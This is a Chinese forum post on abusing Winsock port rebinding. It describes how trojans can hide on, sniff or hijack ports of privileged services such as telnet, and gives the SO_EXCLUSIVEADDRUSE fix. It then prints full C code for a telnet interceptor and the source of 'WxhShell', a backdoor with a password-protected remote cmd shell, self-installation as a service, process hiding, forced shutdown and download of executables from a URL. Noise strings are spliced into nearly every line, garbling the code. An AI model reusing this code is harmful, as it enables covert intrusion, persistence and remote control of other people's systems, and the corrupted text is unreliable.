在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
){5Nod{}a s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-Lh7!d 3N2dV6u saddr.sin_family = AF_INET;
;/j2(O^ qq| 5[I.? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ukW&\ FQDf?d5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9Rnypzds }aVZ\PDg 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_5jT}I<k go uU 这意味着什么?意味着可以进行如下的攻击:
8Y?M:^f~ >1Z"5F7= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?BnU0R_r] (j&: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-Z"4W N]A# ecm 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
(jM0YtrD r!mRUw'u 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
?l0Qi lir=0oq< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
T }}2J/sj '+PKGmRW 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
`<C<[JP:o t;e&[eg 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
M6)
G_- lM6pYYEq= #include
L(Y1ey9x #include
ai{>rO3 }I #include
f2i:I1 p(" #include
08`|C)Z! DWORD WINAPI ClientThread(LPVOID lpParam);
+3)r
szb72 int main()
'r?ULft1 {
~zqb{o^pT WORD wVersionRequested;
?l0eU@rwQ DWORD ret;
E7:xPNU WSADATA wsaData;
Iux3f+H BOOL val;
Xu] ~vik SOCKADDR_IN saddr;
2?JV "O= SOCKADDR_IN scaddr;
.A2$C|a* int err;
=&WIa#!= SOCKET s;
Ttluh
* SOCKET sc;
8D='N`cN+ int caddsize;
fE-R(9K HANDLE mt;
k6(7G@@} DWORD tid;
P8tdT3*6/ wVersionRequested = MAKEWORD( 2, 2 );
m9 h '!X< err = WSAStartup( wVersionRequested, &wsaData );
z0[XI 7KK if ( err != 0 ) {
O
*sU|jeO printf("error!WSAStartup failed!\n");
h.jJAVPi return -1;
4l$OO;B }
}aZuCe_ saddr.sin_family = AF_INET;
>HP
`B2Q
H b(iF0U>& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
)kpEcMlR 'NEl`v*<P saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
u^"
I3u8$ saddr.sin_port = htons(23);
\Z[1m[{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)6OD@<r{ {
?[ xgt) printf("error!socket failed!\n");
Hr|f(9xA return -1;
-*C
WF|<G }
IOy0WHl| val = TRUE;
D}_.D=) //SO_REUSEADDR选项就是可以实现端口重绑定的
5R7x%3@L if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
v@_1V {
uoS:-v}/Y~ printf("error!setsockopt failed!\n");
G{U#9 return -1;
i\i%WiRl }
hsC T:1i //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
]juPm8eF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
X3.zNHN5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
0a~t nf.Ox.kM) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-@pjEI {
VW-qQe ret=GetLastError();
)PX VR
T printf("error!bind failed!\n");
-'! J?~ return -1;
77P\:xc }
<J/ =$u/ listen(s,2);
ma.84~m while(1)
hbw(o
{
"tJ+v*E caddsize = sizeof(scaddr);
Z>hTL_|]a{ //接受连接请求
;*A'2ymXUT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#-/W?kD if(sc!=INVALID_SOCKET)
nBh+UT} {
4Uy% wB mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
E9:@H;Gc if(mt==NULL)
#[+# bw_6 {
]I?.1X5d0 printf("Thread Creat Failed!\n");
M<vPE4TIr* break;
SyWZOE%p }
:gVUk\) }
I'/3_AX CloseHandle(mt);
K d&/9<{> }
FY1iY/\Cn closesocket(s);
E }L Hp WSACleanup();
n(:<pz return 0;
mUYRioNj }
ZT0\V
]!B DWORD WINAPI ClientThread(LPVOID lpParam)
P`Np+E#I {
%B s. XW, SOCKET ss = (SOCKET)lpParam;
2~4:rEPJ: SOCKET sc;
]3KeAJ unsigned char buf[4096];
}A)\bffH SOCKADDR_IN saddr;
spEdq} long num;
e;]tO-Nu DWORD val;
[9m3@Yd' DWORD ret;
FK%b@/7s~ //如果是隐藏端口应用的话,可以在此处加一些判断
G@]3EP //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Hfcpqa saddr.sin_family = AF_INET;
oaIk1U;g saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~k"+5bHa* saddr.sin_port = htons(23);
d:=' Xs if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t R^f]+Up {
u47<J?!Q printf("error!socket failed!\n");
HIg2y return -1;
'7iz5wC# }
kSAVFzUS val = 100;
T5XXC1+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
D6"=2XR4n {
`m,4#P-kj ret = GetLastError();
(MwRe?Ih return -1;
6Yu:v }
&f*orM: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1"h"(dA {
Jw)JV~/0 ret = GetLastError();
q m3\)9C return -1;
DIC*{aBf }
a<cwrDZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
'VDWJTia {
E~!$&9\ printf("error!socket connect failed!\n");
JcAsrtrG] closesocket(sc);
\J'}CX*aQ closesocket(ss);
,f
}$FZ return -1;
R9XU 7_3B }
Y;i=c6 while(1)
o) )` "^ {
f ULt4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
<c+.%ka //如果是嗅探内容的话,可以再此处进行内容分析和记录
1`cH
E Aa //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2t= =<x num = recv(ss,buf,4096,0);
Ge^`f<f if(num>0)
ejN/U{)jK' send(sc,buf,num,0);
u`bD`kfT> else if(num==0)
.#[ 9q- break;
N} EKV num = recv(sc,buf,4096,0);
0TU3
_;o if(num>0)
%a%xUce&-X send(ss,buf,num,0);
Y_Yf'z1>[ else if(num==0)
fY<#KM6X break;
AwM`[`ReE }
`7"="T~ * closesocket(ss);
q lc@$ closesocket(sc);
!eX0Q 2 return 0 ;
CPz<iU }
?ZF):}rvZ 8$( I! ; Qqm?%7A1 ==========================================================
C}huU sf*4|P} 下边附上一个代码,,WXhSHELL
LrU8!r`a !=0h*=NOYt ==========================================================
L\Se , lY%I("2= #include "stdafx.h"
N>mW64_H) 'uL4ezTtA #include <stdio.h>
(x=$b(I #include <string.h>
F*72g)hVh #include <windows.h>
RQVu~7d[ #include <winsock2.h>
3j7FG%\ #include <winsvc.h>
e@D_0OZ #include <urlmon.h>
'|8dt "C EPm~@8@"j? #pragma comment (lib, "Ws2_32.lib")
: auR0FE #pragma comment (lib, "urlmon.lib")
*`>BOl+ro k^5Lv#Z #define MAX_USER 100 // 最大客户端连接数
J1w;m/oV #define BUF_SOCK 200 // sock buffer
w~Tg?RH: #define KEY_BUFF 255 // 输入 buffer
jJ$\ WUQ. QiK>]xJ' #define REBOOT 0 // 重启
k{' ZaP) #define SHUTDOWN 1 // 关机
f$I=oN B[b>T= #define DEF_PORT 5000 // 监听端口
+kSu{Tc
X%Ok "> #define REG_LEN 16 // 注册表键长度
Be6Yh~m #define SVC_LEN 80 // NT服务名长度
R1];P*>%gZ BT7{]2?&V // 从dll定义API
VD=H=Ju typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
p-4$)w~6i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
O8]e(i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
PTe L3L typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*X0>Ru[ yl[I'fX66 // wxhshell配置信息
Ss[[V(- struct WSCFG {
-WC0W int ws_port; // 监听端口
j|!,^._i char ws_passstr[REG_LEN]; // 口令
(< +A w7 int ws_autoins; // 安装标记, 1=yes 0=no
(Pc>D';{S char ws_regname[REG_LEN]; // 注册表键名
Hw \of char ws_svcname[REG_LEN]; // 服务名
$/wm k7T char ws_svcdisp[SVC_LEN]; // 服务显示名
WZQ2Mi<&1' char ws_svcdesc[SVC_LEN]; // 服务描述信息
c'oiW)8;A char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$ XjijD9R int ws_downexe; // 下载执行标记, 1=yes 0=no
:ld~9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
{ 'b;lA]0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5m8u :6kQu <)7aNW. };
b\P:a_vq (&}[2pb! // default Wxhshell configuration
)Q 2IYCj{ struct WSCFG wscfg={DEF_PORT,
gN/<g8 "xuhuanlingzhe",
C;W@OS-; 1,
>|taU8^|G} "Wxhshell",
JFT$1^n "Wxhshell",
z; GQnAG@ "WxhShell Service",
wGyVmC "Wrsky Windows CmdShell Service",
__=53]jGE "Please Input Your Password: ",
3FBL CD3 1,
!se1W5ke# "
http://www.wrsky.com/wxhshell.exe",
&'uP?r9c$ "Wxhshell.exe"
;cMQ0e };
Oeh A3$|# O= S[n // 消息定义模块
VLXA6+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
MK1\ char *msg_ws_prompt="\n\r? for help\n\r#>";
"J(M. Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
lV\iYX2# char *msg_ws_ext="\n\rExit.";
yqN`R\d char *msg_ws_end="\n\rQuit.";
2Q6;SF"Z char *msg_ws_boot="\n\rReboot...";
L}h_\1 char *msg_ws_poff="\n\rShutdown...";
K(;qd Ir char *msg_ws_down="\n\rSave to ";
pGs?Y81
[)"\Aq char *msg_ws_err="\n\rErr!";
4*X Nk;Dx char *msg_ws_ok="\n\rOK!";
E'x"EN M9iX_4 char ExeFile[MAX_PATH];
KqI:g*H'x7 int nUser = 0;
w6BBu0,KC HANDLE handles[MAX_USER];
D{(}&8a9 int OsIsNt;
E ;Z(v ^KhJBM /Z SERVICE_STATUS serviceStatus;
Y`g o V SERVICE_STATUS_HANDLE hServiceStatusHandle;
wgFX')l:
SkjG} // 函数声明
)7 57 int Install(void);
j_<qnBeQ int Uninstall(void);
DTO_IP int DownloadFile(char *sURL, SOCKET wsh);
Ohm{m^VD" int Boot(int flag);
| 6{JINW void HideProc(void);
od=hCQ1> int GetOsVer(void);
orjtwF>^ int Wxhshell(SOCKET wsl);
p9"dm{ void TalkWithClient(void *cs);
sxT&T=7 int CmdShell(SOCKET sock);
o`YBz~2 int StartFromService(void);
cL9gaD$;) int StartWxhshell(LPSTR lpCmdLine);
u}du@Aq "xlR>M6e VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
vl:~&I&y;R VOID WINAPI NTServiceHandler( DWORD fdwControl );
MG?,,8s O m)A:w.o // 数据结构和表定义
?lC>E[ SERVICE_TABLE_ENTRY DispatchTable[] =
gTj,I=3$?e {
,p|Q/M^ {wscfg.ws_svcname, NTServiceMain},
,U""m7 {NULL, NULL}
J
8
KiL };
+La2-I uE1;@Dm+ // 自我安装
in>+D|q
c int Install(void)
,
>7PG2
a {
|]G%b[ char svExeFile[MAX_PATH];
<|r|s HKEY key;
}u8(7 strcpy(svExeFile,ExeFile);
Ta\F~$M u8c@q'_ // 如果是win9x系统,修改注册表设为自启动
Sr
\y1nt if(!OsIsNt) {
_Q+c'q Zkl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8H7#[?F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
L\#YFf RegCloseKey(key);
Up@^C" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
eha|cAq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+u|"q+p RegCloseKey(key);
m!ZY]:)$ return 0;
9J/[7TzSZ }
YE`Y t }
7qqzL_d> }
}uma<b else {
Y%;J/4dd .Y6v#VI // 如果是NT以上系统,安装为系统服务
.57p4{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)K[\j?
if (schSCManager!=0)
v~SM"ky# {
s4fO4.bn m SC_HANDLE schService = CreateService
#scZP (
4aArxJ schSCManager,
lp(2"$nQ wscfg.ws_svcname,
'~Y@HRVL@| wscfg.ws_svcdisp,
B@*b 9 SERVICE_ALL_ACCESS,
kWW2N0~$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
rR6} SERVICE_AUTO_START,
#LR4%}mg SERVICE_ERROR_NORMAL,
26p[x'W svExeFile,
!7DDPJ~ NULL,
LK DfV NULL,
.2&L. NULL,
#G#gc`S-, NULL,
+&S7l%- NULL
@ujwN([I );
K 4GuOl if (schService!=0)
o8X_uKEI {
_0+X32HjJ CloseServiceHandle(schService);
GST#b6S CloseServiceHandle(schSCManager);
@_kF&~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
m ""+$ strcat(svExeFile,wscfg.ws_svcname);
uXc;!* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Z"VP<- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
U~D~C~\2; RegCloseKey(key);
lqfTF return 0;
U)G.Bst }
e*Wk;D& }
b-
- tl@H CloseServiceHandle(schSCManager);
V;ea Q }
opH!sa@U }
*;@wPT 3RaW\cWzg return 1;
_^W;J/He }
;qaPK2a8 nF'YG+;|@ // 自我卸载
P!]uJ8bi int Uninstall(void)
_tHhS@ {
M z&/.A HKEY key;
t,r]22I,` 2PAu>}W* if(!OsIsNt) {
>Lo\?X~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>e {1e RegDeleteValue(key,wscfg.ws_regname);
bL
xZ5C7t RegCloseKey(key);
aVu!Qk=Z/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
SE\?8cs]- RegDeleteValue(key,wscfg.ws_regname);
5QiQDQT}5 RegCloseKey(key);
2yJ{B return 0;
2VRGTx }
R%KF/1;/ }
9^F3r]bH }
sQ`G'<! else {
6C
VH)=% O&<p
8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
]L~NYe9 if (schSCManager!=0)
RiQ]AsTtl {
%)7t2D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
s)- ;74( if (schService!=0)
wj6u,+ {
5TJd9:\Af if(DeleteService(schService)!=0) {
k&ooV4#f6 CloseServiceHandle(schService);
+51heuu[o CloseServiceHandle(schSCManager);
rnZ$Qk-H return 0;
aqEZhMy }
)I&.6l!#
CloseServiceHandle(schService);
n725hY6}<l }
+vy fhw4 CloseServiceHandle(schSCManager);
FGi7KV=N }
}gQ2\6o2g }
Rq}lW.<r %_W4\ return 1;
XHU$&t`7>g }
vu0Ue -8^qtB // 从指定url下载文件
<-k! int DownloadFile(char *sURL, SOCKET wsh)
C7S\4rDJ {
ASHU0v HRESULT hr;
'?Dxe
B char seps[]= "/";
3tZIL char *token;
f(pq`v^-n char *file;
_e@8E6#ce char myURL[MAX_PATH];
#VrIU8Q7' char myFILE[MAX_PATH];
l^	d B,\VLX strcpy(myURL,sURL);
t}eyfflZ token=strtok(myURL,seps);
%]Z4b;W[Y while(token!=NULL)
K ~mUO {
.yy-jf/ file=token;
?C[?dg{n token=strtok(NULL,seps);
E4 eXfu }
14 & KE3` MoFM'a9 GetCurrentDirectory(MAX_PATH,myFILE);
(|BY<Ac3 strcat(myFILE, "\\");
Ip'tB4Mq strcat(myFILE, file);
]i#p2?BR send(wsh,myFILE,strlen(myFILE),0);
h&i*=&<HP6 send(wsh,"...",3,0);
nx'c=gp hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
O=3/qs6m if(hr==S_OK)
\I!mzo return 0;
0cycnOd else
m}'_Poc return 1;
XX/gS=NE#. \Sd8PGl*' }
;Xt<\^e ~gpxK{ // 系统电源模块
Kd-1EU int Boot(int flag)
{K.H09Y {
F(hPF6Zx( HANDLE hToken;
R `tJ7MB TOKEN_PRIVILEGES tkp;
3Cj)upc I&+.I K_ if(OsIsNt) {
w&?XsO@0W OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
nW)+-Wxq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
FPY k`D tkp.PrivilegeCount = 1;
G[mqLI{q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Lyhuyb)k5^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
?CAU+/ if(flag==REBOOT) {
[1vm~w' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
g.&B8e return 0;
Q!P%duO }
6axxyh% else {
\!\:p/f if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
0 SSdp< return 0;
59oTU }
B2[f1IMI }
}i!+d,|f else {
.rK0C) if(flag==REBOOT) {
geR
:FO;\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
RU~na/3 return 0;
#tR:W?! }
8QTry% else {
~3 :VM_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
D
5r H6*J return 0;
i%9vZ }
m ~&
}
zgGysjV w80X~ return 1;
K(?V]Mxl6 }
Q("m*eMRt uU 7 <8G // win9x进程隐藏模块
WPRk>j void HideProc(void)
;JkIZ8! {
h*VDd3[# j~N*T XkC HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
H=BI%Z if ( hKernel != NULL )
s^zlBvr|. {
f![] :L pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
dT0W8oL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
sLA.bp.O FreeLibrary(hKernel);
4<($ZN8 }
+S{m!j%B J,Ki2'= return;
50MM05aC }
Tm`@5 rT `sY // 获取操作系统版本
xq;>||B int GetOsVer(void)
>2s6Y {
:=B.)]F.) OSVERSIONINFO winfo;
E.*hY+kGZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
vt5w(}v( GetVersionEx(&winfo);
wG)e8,# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
a
Y)vi$;] return 1;
%d+Fq=< else
c
\??kQH return 0;
=wX;OK|U(^ }
9CS"s_ *B3f ry // 客户端句柄模块
?c?@j}=?yY int Wxhshell(SOCKET wsl)
qR.FjQOvn {
C?|sQcCE SOCKET wsh;
}p?,J8=- struct sockaddr_in client;
l?)>"^ DWORD myID;
Wq3PN^ h^(U:M=A while(nUser<MAX_USER)
T)e2IXGN {
fc~fjtqwvz int nSize=sizeof(client);
_-vlN wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;:=j{,&dl[ if(wsh==INVALID_SOCKET) return 1;
_AF$E"f@ a>vxox) % handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
2e\"?y OD if(handles[nUser]==0)
Yuv=<V closesocket(wsh);
_zDS-e@ else
Tp-W/YC nUser++;
,C6( }
N[Xm5J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+}m`$B}mJ <9&GOaJ return 0;
h1q3}- }
#v(As)4^ DTC
IVLV // 关闭 socket
{qHQ_ _Bl void CloseIt(SOCKET wsh)
YQD`4ND {
X}'rPz\Lu closesocket(wsh);
`pfgx^qG nUser--;
x9F* $G ExitThread(0);
Vl$RMW@Ds }
y"H5> .*N,x(V // 客户端请求句柄
}uMu8)Q void TalkWithClient(void *cs)
=EVB?k
, {
OF*E1BM D% *ww'mt0 SOCKET wsh=(SOCKET)cs;
C)m@/w char pwd[SVC_LEN];
h*^JFZb char cmd[KEY_BUFF];
}*J04o$oI char chr[1];
dUB;ZB7 int i,j;
kmBA _L)LyQD]T while (nUser < MAX_USER) {
GdC=>\] <!t;[ie?y if(wscfg.ws_passstr) {
Gu{1%bb#kL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fUvXb>f, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kDJYEI9j> //ZeroMemory(pwd,KEY_BUFF);
JQ
?8yl
i=0;
x(>XM:| while(i<SVC_LEN) {
\0lQ1FrY L__{U_p // 设置超时
,8DC9yM, fd_set FdRead;
W
~MNst? struct timeval TimeOut;
<>KQ8: FD_ZERO(&FdRead);
+mG"m hF FD_SET(wsh,&FdRead);
T=w0T-[f TimeOut.tv_sec=8;
j7);N TimeOut.tv_usec=0;
[|$C2Dhw= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
DPY+{5q2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0Bgj.?l a:P+HU: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%d:cC:` pwd
=chr[0]; x%)oL:ue
if(chr[0]==0xd || chr[0]==0xa) { UK'8cz9
pwd=0; 6a9:P@tY
break; }cUO+)!Y
} qCVb-f
i++; w:I!{iX
} _$A?
iPCn-DoIS
// 如果是非法用户,关闭 socket 'xuxMav6m
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w?_'sP{pd
} fvta<
}x6)}sz7
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
= <A0;
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Q^.7.-T
hH$9GL{H
while(1) { >8>s
K(S]
Z!q$d/1
ZeroMemory(cmd,KEY_BUFF); .,VLQbtg
`E;xI v|
// 自动支持客户端 telnet标准 uYO$gRem
j=0; -m,Y6
while(j<KEY_BUFF) { j7Zv"Vq@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h+_:zWU
cmd[j]=chr[0]; `}ZtK574
if(chr[0]==0xa || chr[0]==0xd) { 18~jUYMV
cmd[j]=0; 9h+TO_T@F
break; >BJBM |
} Ta3* G
j++; Yx66Xy
} o=![+g
#3>jgluM'
// 下载文件
^0{t
if(strstr(cmd,"http://")) { Kl ?C[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); WOgkv(5KN
if(DownloadFile(cmd,wsh)) Nj?Q{ztS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ei2M~/
else #$ka.Pj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HOPl0fY$L
} 6%9 kc+
9
else { Rc93Fb-Zp
u>] )q7s
switch(cmd[0]) { oG hMO
s,mt%^x[
// 帮助 /ZL6gRRA|
case '?': { non5e)w3@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !mVq+_7]
break; r^E(GmW
} _iA oNT!
// 安装 `uDOIl
case 'i': { 5ld?N2<8/
if(Install()) wU/fGg*M2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .2|(!a9W
else 1TzwXX7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $PlMyLu7jc
break; ;xFB
/,
} /A>nsN?:]
// 卸载 av'[k<
case 'r': { #
dUi['
if(Uninstall()) Q"!GdKM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lkp$rJ#6
else Rw63{b/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J`; 9Z
break; K4RQ{fWpm
} aU.!+e%_
// 显示 wxhshell 所在路径 L[5U(`q[
case 'p': { 'aeuL1mz
char svExeFile[MAX_PATH]; P~&J@8)c
strcpy(svExeFile,"\n\r"); Aj/EaIq
strcat(svExeFile,ExeFile); Y~r)WV!G
send(wsh,svExeFile,strlen(svExeFile),0); wrJ"(:VZ
break; ?{L'd
} hq&9S{Ep
// 重启 ww+,GnV
case 'b': { A&ceuu
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rb^G~82d?
if(Boot(REBOOT)) B<.ZW}#v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m.gv?
else { ; Ob^@OM
closesocket(wsh); ]W`M
<hEI
ExitThread(0); 8F$]@0v`%
} }QCn>LXE
break; dtG>iJ
} gL@]p
// 关机 O"X7 DgbC
case 'd': { GUJ?6;
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WFmW[< g
if(Boot(SHUTDOWN)) !4z vkJO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4kK_S.&
else { V~-tp^
closesocket(wsh); ^%\MOjSN
ExitThread(0); R9K~b^`
} _Wp.s]D [
break; " w /Odd
} 4,=;:#n,J
// 获取shell tp"eXA0n
case 's': { ! P$[$W
CmdShell(wsh); #*S.26P^4
closesocket(wsh); (BK_A{5
ExitThread(0); ?5%o-hB|
break; n-GoG(s..b
} Aeq^s
// 退出 (b1e!gJpy
case 'x': { 7?vj+1;
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @L 6)RF
CloseIt(wsh); tHM0]Gb}
break; OeZ"WO
} <a+@4d;
// 离开 B<G,{k
case 'q': { w)R5@
@C*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); s._,IW;
closesocket(wsh); g">^#^hBE
WSACleanup(); ZP0D)@8
exit(1); +KTHZpp!c2
break; .jbxA2
} CFoR!r:X
} alsD TQ'
} \IqCC h
n7/&NiHxv/
// 提示信息 >$a;+v
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g<$2#c}
} I;UT;/E2
} }YM[aq?6
m G+=0Rn^
return; "kVzN22
} [e{W:7uFV
*.T?#H
// shell模块句柄 )tS;gn
int CmdShell(SOCKET sock) R`Hy0;X
{ BJg
STARTUPINFO si; mO8/eVws[M
ZeroMemory(&si,sizeof(si)); /*M3Ns1@2
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aej'c bO
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wL>;_KdU`
PROCESS_INFORMATION ProcessInfo; gr@Ril^
char cmdline[]="cmd"; I;G(Wj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j^hLn>
return 0; 0fqycGSmU
} ao|n<*}
e3[Q6d&|
// 自身启动模式 {/,AMJ<:G]
int StartFromService(void) _~F
0i?
{ O{U j
typedef struct `'pAiu
{ a#9pN?~
DWORD ExitStatus; Y|tK19
DWORD PebBaseAddress; $Fy>N>,E(
DWORD AffinityMask; pEW~zl
DWORD BasePriority; NQvI=R-g
ULONG UniqueProcessId; DhsvN&yNM
